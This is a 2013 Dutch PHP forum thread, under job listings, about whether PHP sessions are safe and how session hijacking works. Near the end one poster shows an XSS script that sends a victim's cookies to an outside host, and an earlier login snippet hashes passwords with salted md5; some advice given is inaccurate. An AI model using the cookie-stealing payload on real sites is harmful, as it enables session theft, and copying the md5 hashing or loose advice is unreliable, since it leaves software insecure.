Session veilig?

Overzicht Reageren

Sponsored by: Vacatures door Monsterboard

Mendix Developer

For our client in Amsterdam, we are looking for a Senior Mendix Developer. Company description Our client is an IT Consultancy company who’s been active for 10 years now. With their ambitious team, they are working with different clients in order to help them with analyzing their data and giving advice to them, regarding how they can use their data in the smartest ways, or to make sure that their mobile or web applications are working efficiently. As you get a glimpse of various industries, it is guaranteed that no day will be the same. Job description As a Mendix

Bekijk vacature »

Senior Front end developer

Functie Wij zijn op zoek naar een ambitieuze, zelfsturende Front-end Expert die ons (internationale) team komt versterken. Onze huidige software development afdeling bestaat uit 7 developers en designers. Wij zijn een écht softwarehuis, dus ervaring in software development is wel echt een must. Er wordt tegelijkertijd aan meerdere projecten gewerkt, voor mooie toonaangevende klanten. Je hebt dus regelmatig te maken met deadlines en opleveringen. Een deel van onze omgeving is in Angular.JS. Dit deel wordt langzamerhand omgebouwd naar de nieuwste versie van Angular. Jouw werkzaamheden zullen bestaan uit: Het aansturen en begeleiden van jouw collega’s Het implementeren van visuele elementen

Bekijk vacature »

Back-end Developer

Functieomschrijving Voor een erkende werkgever in de regio van Middelburg zijn wij op zoek naar een enthousiaste PHP / Symfony Developer. Een ambitieus persoon die het gemotiveerde development team komt versterken met het realiseren van nieuwe en complexe projecten. Ben jij op zoek naar een baan met veel uitdaging binnen een snelgroeiend e-commerce bedrijf, waar je de tijd en ruimte krijgt voor professionele groei? Dit ga je doen: Je bent verantwoordelijk voor de beheer en ontwikkeling van de serviceportal in Symfony en de webshops in de tweede versie van Magento; Je houdt je bezig met het ontwikkelen van nieuwe functionaliteiten;

Bekijk vacature »

Laravel developer

Zie jij mogelijkheden om onze tooling technisch te verbeteren en uit te bouwen? Over Jobmatix Jobmatix is een innovatieve en internationale speler op het gebied van jobmarketing. Onze jobmarketing automation tool helpt organisaties bij het aantrekken van nieuw talent door vacatures digitaal, geautomatiseerd en op een efficiënte manier te adverteren en onder de aandacht te brengen bij de doelgroep op 25+ jobboards. Volledig performance-based, waarbij organisaties betalen op basis van cost per click of cost per applicant. Maandelijks wordt onze jobmarketing automation tool al gebruikt door vele directe werkgevers, intermediairs en mediabureaus, waaronder Picnic, Rijkswaterstaat, AdverOnline, Schiphol, DPA, Teleperformance en

Bekijk vacature »

C++ Ontwikkelaar

Functieomschrijving Ben jij toe aan een nieuwe uitdaging en werk je graag en goed in C++ en C#? Dan zijn we op zoek naar jou! Dit bedrijf is dé specialist op het gebied van automatiseringssoftware voor een specifieke branche en ze zijn per direct op zoek naar versterking in hun development team. Wat jij gaat doen binnen jouw rol als C++ ontwikkelaar; Je vertaalt de wensen van gebruikers naar een functioneel ontwerp. Je houdt je bezig met het ontwerpen, programmeren en testen van product aanpassingen. Je gaat nieuwe product releases implementeren in de projectteams. Je gaat de effecten van nieuwe

Bekijk vacature »

Junior Outsystems developer

Functie Als junior Outsystems developer wordt jij onderdeel van een multidisciplinair team van 23 software engineers. Ons team werkt agile en termen als Continuous Integration en Continuous Delivery zijn bij ons dagelijkse koek. Wij werken aan uitdagende en afwisselende projecten met als doel onze klanten een totaal oplossing aan te bieden. Als junior Outsystems developer krijg jij bij ons de kans om jezelf te ontwikkelen naar een volwaardige ervaren en gecertificeerde Outsystems developer. Jij een team met ervaren mensen (10+ ervaring) om je heen. Zo heb jij niet het gevoel dat jij meteen in het diepe wordt gegooid en uiteraard

Bekijk vacature »

Back end developer Digital agency

Functie Heb jij altijd al eens bij een bedrijf willen werken waar jij géén nummertje bent, die alleen maar uitvoerend werk doet? Dan zou je hier perfect passen! Tuurlijk, je werkt aan projecten voor grote of kleine bedrijven… Het enige verschil hier is, jouw mening telt hier écht. Jouw inbreng wordt gewaardeerd, serieus genomen en gebruikt. En vergeet niet, je werkt niet alleen aan deze projecten. Er werken in totaal ruim 20 developers en designers, onderverdeeld over 3 development teams. Voornamelijk bestaande uit Medior en Senior developers, die samen voor een inspirerende en ambitieuze omgeving zorgen. Hun visie is namelijk

Bekijk vacature »

SQL beheerder / ontwikkelaar

Functie omschrijving Voor een klant in omgeving Tiel zijn wij op zoek naar een SQL beheerder met affiniteit met technisch applicatiebeheer. Je krijgt een fijne in-house werkplek waar je gaat werken aan diverse projecten. Dit bedrijf doet het beheer van databases voor een aantal bancaire klanten. Op dit momenten hebben zij ruim 1500 databases in beheer. Jouw werkzaamheden gaan er als volgt uit zien: Je gaat de development afdeling ondersteunen bij het ontwikkelen van MS SQL Scripts. Je zal zowel zelfstandig als in teamverband MS SQL databases installeren & beheren. Je monitort en onderzoekt incidenten en de achterliggende oorzaken. Je

Bekijk vacature »

Node.js developer looking for a challenging consul

Functie Under the guidance of 3 account managers, one of whom will be your point of contact within your expertise, you will start working for various clients. He or she will help you find a suitable and challenging assignment. Naturally, they will take your situation, experience and (technical) ambitions into account. The assignments last one to two years on average. This allows you to really commit to a project and make an impact as a consultant. Besides the assignment, you will regularly meet your colleagues from the IT department to share knowledge or discuss new trends, for example. Master classes

Bekijk vacature »

Hands-on Solution Architect / Software Architect (

TenneT is hard groeiend om de onze ambities waar te kunnen maken. Zo nemen wij een leidende rol in het aanjagen van de energietransitie. Het werven van nieuw talent speelt daarin een cruciale rol. Wij zijn op zoek naar een gedreven Solution Architect / Software Architect op onze locatie Arnhem die hieraan wil bijdragen en misschien ben jij dat wel? Jouw bijdrage aan TenneT Je werkt samen met gedreven DevOps teams, bestaande uit frontend, backend en middleware developers, testers, UX-designers. Samen met de teams ben je continu op zoek naar de beste oplossingen voor onze klanten. Als Solution Architect onderzoek

Bekijk vacature »

Senior Front end developer Automotive Angular

Functie Als Senior Front end developer kom je te werken in een team van 11 developers. 9 van de 11 focussen zich op back end, welke is geschreven in Java, en 2 op de front end waarbij er gebruik wordt gemaakt van Typescript en Angular. De focus in deze rol ligt op 2 aspecten; doorontwikkeling van de eigen tooling en gebruik van de tooling t.b.v. klantprojecten. Momenteel zijn ze in de afrondende fase van een project waarbij ze het gehele verkoopproces van nieuwe auto’s anders ingeregeld hebben voor een grote dealer in Nederland. Waarbij Auto’s normaliter pas verkocht werden in

Bekijk vacature »

Front-end Developer - Juniorfunctie

Functie omschrijving Ben jij op zoek naar een uitdagende baan als front-end developer, in een informele werksfeer, waar jij echt het verschil kan maken? Wil jij graag werken voor een bedrijf dat sportiviteit en een open communicatie, hoog in het vaandel heeft staan? Dan hebben wij de perfecte vacature voor je! Voor een klein bedrijf in Rijen dat gespecialiseerd is in het omzetten van digitale woningtekeningen naar managementinformatie, zijn wij per direct op zoek naar een allround front-end developer. Jouw werkzaamheden zien er als volgt uit: Ja gaat nauw samenwerken met de back-end developer. De database structuur is volledig gebouwd

Bekijk vacature »

C# .NET Developer

Dit ga je doen Ontwikkelen van de Back-end in .NET6 / C# en WebAPI (Focus);) Ontwikkelen van de Front-End in Nodje.js en Angular (secundair); Ontwikkelen in Blazor; Opstellen van een technisch ontwerp; Testen, documenteren en implementeren van de nieuwe applicatie; Verzorgen van de nazorg, na de implementatie. Hier ga je werken Binnen deze organisatie werken duizenden mensen binnen allerlei verschillende disciplines. Tevens hebben zij veel specialiteiten in huis, waaronder ook .Net Developers. Ter uitbreiding van een nieuw team en ter ondersteuning van het project zijn ze opzoek naar een nieuwe collega voor het team. Als C#.NET Developer zal jij je

Bekijk vacature »

Mendix Consultant / Developer

Dit ga je doen Het in kaart brengen en analyseren van de functionele wensen van de klant rondom Mendix applicaties; Het fungeren als sparringpartner voor de (interne) klanten; Het opstellen van requirements en het vertalen hiervan naar technische mogelijkheden; Het opstellen van user stories; Het bouwen van de Mendix applicaties in samenwerking met jouw team of zelfstandig; Het testen van op te leveren software en het zorg dragen voor de implementatie; Trainen van gebruikers in het gebruik van de applicatie; Werken in een Agile omgeving. Hier ga je werken De organisatie begeeft zich in de retail branche en focust zich

Bekijk vacature »

Senior Java developer

Dit ga je doen Jouw taken als Senior Java Developer zijn: Het maken van strategische keuzes omtrent de nieuwbouw van applicaties; Het maken van technische ontwerpen; Hands-on mee ontwikkelen met het team (met o.a. Java FX, JDBC, SQL, REST, Jax-RS, JSON, Maven, JUnit en Spring (boot)); Reviewen van code en feedback geven op collega developers; Analyseren en oplossen van bugs/incidenten door het onderlinge verband te kunnen leggen van verschillende losstaande systemen. Hier ga je werken Het bedrijf waar je als Senior Java Developer komt te werken staat internationaal bekend om het testen van bodemstructuren door middel van echotechnieken en beeldherkenning.

Bekijk vacature »
Francoi gckx

Francoi gckx

22/01/2013 21:34:28
Quote Anchor link
Als je inlogt word een aantal $_SESSION's aangemaakt, bijv $_SESSION['username'];

Is dit veilig, kan iemand zonder in te loggen toch een $_SESSION['username'] hebben?

Dubbelpost verwijderd, verder in dit topic.[/modedit]
Gewijzigd op 22/01/2013 23:51:10 door Bas IJzelendoorn
 
PHP hulp

PHP hulp

19/05/2024 08:34:20
 
Eddy E

Eddy E

22/01/2013 21:36:30
Quote Anchor link
Nee, want die maak je op de server zelf aan.
Ik kan niet op jouw server (die van je website) $_SERVER aanmaken.

Maar je moet wel goed beveiligen WAAR je ['username'] aanmaakt. Dus het inloggen moet wel kloppen.
 
Francoi gckx

Francoi gckx

22/01/2013 21:39:09
Quote Anchor link
Ok dan zit het denk ik wel goed, bedankt!
 
Chris PHP

Chris PHP

23/01/2013 07:40:30
Quote Anchor link
@Eddy,
Er is zoiets als session hijacking, ik had verwacht dat je dit wel zou weten eerlijk gezegt. Het is dus mogelijk dat hackers meeliften op een sessie van een gebruiker, en zo verder kunnen gaan.

Waarom zou je tevens een $_SERVER moeten aanmaken? Terwijl het hier om $_SESSION gaat?

@Francoi,
Niets is 100% veilig, er zijn altijd manieren. Zorg ervoor dat je geen gevoelige informatie opslaat in een sessie, deze kunnen wel degelijk uitgelezen worden. Een session_id wordt opgeslagen in een cookie op de pc van de gebruiker, dus deze id bemachtigen is niet al te moeilijk.
 
Kees Schepers

kees Schepers

23/01/2013 08:33:42
Quote Anchor link
Daarom moet je altijd net voordat iemand ingelogd is (dus na de post maar voor je de sessie aanmaakt) de sessie vernieuwen met:

session_regenerate_id(true);

Dan is session hijacking al een stuk lastiger, al dan niet meer mogelijk ;)
 
Dennis WhoCares

Dennis WhoCares

23/01/2013 08:52:20
Quote Anchor link
Session hijacking is toch wel interessant.
Ikzelf maak gebruik van mn database, waar mijn sessies opgeslagen worden
(unieke ID met username en ip adress van de gebruiker)
Vervolgens wordt t ip gecontrolleerd en de sessie.
Is dit te hijacken ?
 
Francoi gckx

Francoi gckx

23/01/2013 09:28:33
Quote Anchor link
Wat doet session_regenerate_id(true) precies? (heeft u een voorbeeld?)

En moet ik het letterlijk voordat ik een session aanmaak of bovenaan de login script na session_start?
Gewijzigd op 23/01/2013 09:28:55 door Francoi gckx
 
- SanThe -

- SanThe -

23/01/2013 10:04:31
Quote Anchor link
Francoi gckx op 23/01/2013 09:28:33:
Wat doet session_regenerate_id(true) precies? (heeft u een voorbeeld?)

En moet ik het letterlijk voordat ik een session aanmaak of bovenaan de login script na session_start?


Kijk zelf even op php.net:
http://nl.php.net/manual/en/function.session-regenerate-id.php
 
Francoi gckx

Francoi gckx

23/01/2013 10:36:49
Quote Anchor link
Ik ben een beginner en die link is niet echt voor beginners
 
Chris PHP

Chris PHP

23/01/2013 10:39:18
Quote Anchor link
@Francoi,
Overal waar je sessies gebruikt moet bovenaan de pagina session_start() staan. Dus echt als een van de eerste regels! Anders wordt er op die pagina geen sessie gebruikt.

Dus niet alleen op je inlog pagina, maar ook op de pagina's waar de gebruiker voor ingelogd moet zijn.

Tevens is de link van SanThe vrij duidelijk met session_regenerate_id(true); maakt hij een nieuwe sessie id aan.


@Kees,
Dan maakt hij voor die sessie alleen een nieuwe id aan, dat blijft ie de gehele sessie en staat lokaal in de cookie. Hijacking blijft dan nog steeds mogelijk zolang de gebruiker is ingelogd.
Wil je het goed doen, moet je dit op elke pagina waar sessies gebruikt worden doen.

@Dennis,
Wordt dat per sessie gedaan? Of eenmalig?

Als het eenmalig is kan de gebruiker dus nooit via een andere omgeving inloggen, aangezien hij daar een ander ip krijgt.

Wordt het per sessie gedaan maakt het stukken lastiger, echter is het vrij makkelijk om je ip te wijzigen naar wat je wil voor de buitenwereld. Dan moeten ze uiteraard wel het ip hebben, en je externe ip van je provider kan alleen veranderen wanneer je bijvoorbeeld je modem reset.

Dus de controle op ip is ook niet waterdicht.
Gewijzigd op 23/01/2013 10:42:32 door Chris PHP
 
Francoi gckx

Francoi gckx

23/01/2013 10:45:30
Quote Anchor link
Chris NVT op 23/01/2013 10:39:18:
@Francoi,
Overal waar je sessies gebruikt moet bovenaan de pagina session_start() staan. Dus echt als een van de eerste regels! Anders wordt er op die pagina geen sessie gebruikt.

Ja dat van session_start begrijp ik maar ik had het over session_regenerate_id

Maar bijvoorbeeld in login.php

1.Het begint met session_start() bovenaan (moet ik session_regenerarate_id onder session_start gelijk gebruiken?)

2. Dan komen de controlles als er niks ingevuld is of onjuiste email

3. Als 2 goed is dan:

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
// create query
        if ($stmt = $mysqli->prepare("SELECT members.id, permissions.name FROM members, permissions WHERE username=? AND password = ? AND members.type = permissions.id"))
        {

            $stmt->bind_param("ss", $input['user'], md5($input['pass'] . $config['salt']));
            $stmt->execute();
            $stmt->bind_result($id, $type);
            $stmt->fetch();
            
            // check if there is a match in the database for the user/password combination
            if ($id)
            {

                // close statement
                $stmt->close();
                
                // set session variable
                $_SESSION['id'] = $id;
                $_SESSION['type'] = $type;
                $_SESSION['username'] = $input['user'];
                $_SESSION['last_active'] = time() - 60 * 60 * 24;
                
                // redirect to member's page
                header("Location: members.php");
            }

?>


5. Waar moet ik hier session_regenerate_id gebruiken, was mijn vraag?
 
- SanThe -

- SanThe -

23/01/2013 10:46:13
Quote Anchor link
Chris NVT op 23/01/2013 10:39:18:
je externe ip van je provider kan alleen veranderen wanneer je bijvoorbeeld je modem reset.

Dus de controle op ip is ook niet waterdicht.


Mobieltjes hebben (vaak) bij elk request een ander IP.
IP-checken is dus eigenlijk zinloos.
Gewijzigd op 23/01/2013 14:58:48 door - SanThe -
 
Chris PHP

Chris PHP

23/01/2013 10:47:12
Quote Anchor link
Francoi gckx op 23/01/2013 10:45:30:
Ja dat van session_start begrijp ik maar ik had het over session_regenerate_id

Altijd na session_start();
Gewijzigd op 23/01/2013 10:49:55 door Chris PHP
 
Francoi gckx

Francoi gckx

23/01/2013 10:50:08
Quote Anchor link
Ja sorry voor de onduidelijkheid maar ik bedoel met "voordat ik een session aanmaak" niet session_start
maar
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
<?php
// set session variable
                $_SESSION['id'] = $id;
                $_SESSION['type'] = $type;
                $_SESSION['username'] = $input['user'];
                $_SESSION['last_active'] = time() - 60 * 60 * 24;
?>


Zie mijn vorige post
 
Chris PHP

Chris PHP

23/01/2013 10:51:33
Quote Anchor link
@Francoi,

Je kunt het gewoon onder session_start(); zetten op je inlogpagina.
 
Francoi gckx

Francoi gckx

23/01/2013 10:51:37
Quote Anchor link
Ok dus ter bevestiging moet ik dit bovenin zetten:

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
<?php session_start();
session_regenerate_id(true) (dat worden de eerste twee regels)

Ok bedankt Chris
Gewijzigd op 23/01/2013 10:52:08 door Francoi gckx
 
Kees Schepers

kees Schepers

23/01/2013 14:25:35
Quote Anchor link
Chris NVT op 23/01/2013 10:39:18:
@Kees,
Dan maakt hij voor die sessie alleen een nieuwe id aan, dat blijft ie de gehele sessie en staat lokaal in de cookie. Hijacking blijft dan nog steeds mogelijk zolang de gebruiker is ingelogd.
Wil je het goed doen, moet je dit op elke pagina waar sessies gebruikt worden doen.


Hijacking werkt toch als volgt:

Gebruiker A die gaat naar een website en ziet daar een login scherm. Gebruiker B (de hacker) steelt de cookie / sessionid van gebruiker A. Gebruiker A gaat inloggen op de site en doet wat hij verder moet doen. Gebruiker B heeft zijn sessie gekopieerd en is daarmee ook automatisch ingelogd.

Als bovenstaande klopt, los je het toch op door de sessie ID te veranderen net voor gebruiker A is ingelogd? Want als gebruiker A ingelogd is, dan heeft gebruiker B een ongeldige sessie ID in zijn cookie staan waar hij niks mee kan.

Mocht mijn verhaal niet kloppen licht het dan eventjes toe, ben ik wel benieuwd wat leer ik er ook weer wat van :)

Aan de andere kant; als je sessie ID gestolen wordt nadat je ingelogd bent, ben je ook de lul :P is het daarom goed om elke pagina de sessie te vernieuwen?
Gewijzigd op 23/01/2013 14:27:25 door kees Schepers
 
Ozzie PHP

Ozzie PHP

23/01/2013 14:44:24
Quote Anchor link
Kees Schepers op 23/01/2013 14:25:35:
Gebruiker A die gaat naar een website en ziet daar een login scherm. Gebruiker B (de hacker) steelt de cookie / sessionid van gebruiker A.

Hoe zie je dit precies voor je? Hoe kan gebruiker B de sessie van gebruiker A stelen?

Volgens mij wordt sessie kapen met bruteforce aanvallen gedaan. Er wordt door de hacker telkens een cookie gemaakt met een andere sessie-id, totdat hij een keer "beet" heeft. Het maakt dan niet uit of je wel of niet ingelogd bent.

Wat je zou kunnen doen is een extra cookie gebruiken met een of andere hash daarin. Bezoeker A komt op de site en er wordt een sessie gestart. Tegelijkertijd wordt er een cookie op zijn computer gezet met een hash. Hacker B gaat bruteforcen en vindt op een gegevens moment de sessie-id van bezoeker A. Aangezien hij niet beschikt over de extra cookie met daarin de hash, kan hij de sessie niet overnemen. Het systeem ziet nu dus dat de sessie gehackt is, maar dat de hash niet klopt. Op dat moment moet de complete sessie worden vernietigd.
Gewijzigd op 23/01/2013 14:45:01 door Ozzie PHP
 
Kees Schepers

kees Schepers

23/01/2013 15:19:08
Quote Anchor link
Met een javascript exploit kan ik vrij eenvoudig jouw cookies stelen hoor :)

Stel dat prive berichten op phphulp niet goed tegen XSS waren beschermt stuurde ik je een prive bericht met:

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<script>
window.location = 'keesje.nl/index.php?cookies=' + document.cookies;
</script>


En mijn index.php stuurt jouw met een PHP header redirect weer terug naar phphulp. Gevolg is dat je denkt dat er een fout in de site zit en je bijna niet merkt dat je omgeleid wordt.
 
Ozzie PHP

Ozzie PHP

23/01/2013 15:32:13
Quote Anchor link
ah oke... sneaky ;-)
 



Overzicht Reageren

 
 

Om de gebruiksvriendelijkheid van onze website en diensten te optimaliseren maken wij gebruik van cookies. Deze cookies gebruiken wij voor functionaliteiten, analytische gegevens en marketing doeleinden. U vindt meer informatie in onze privacy statement.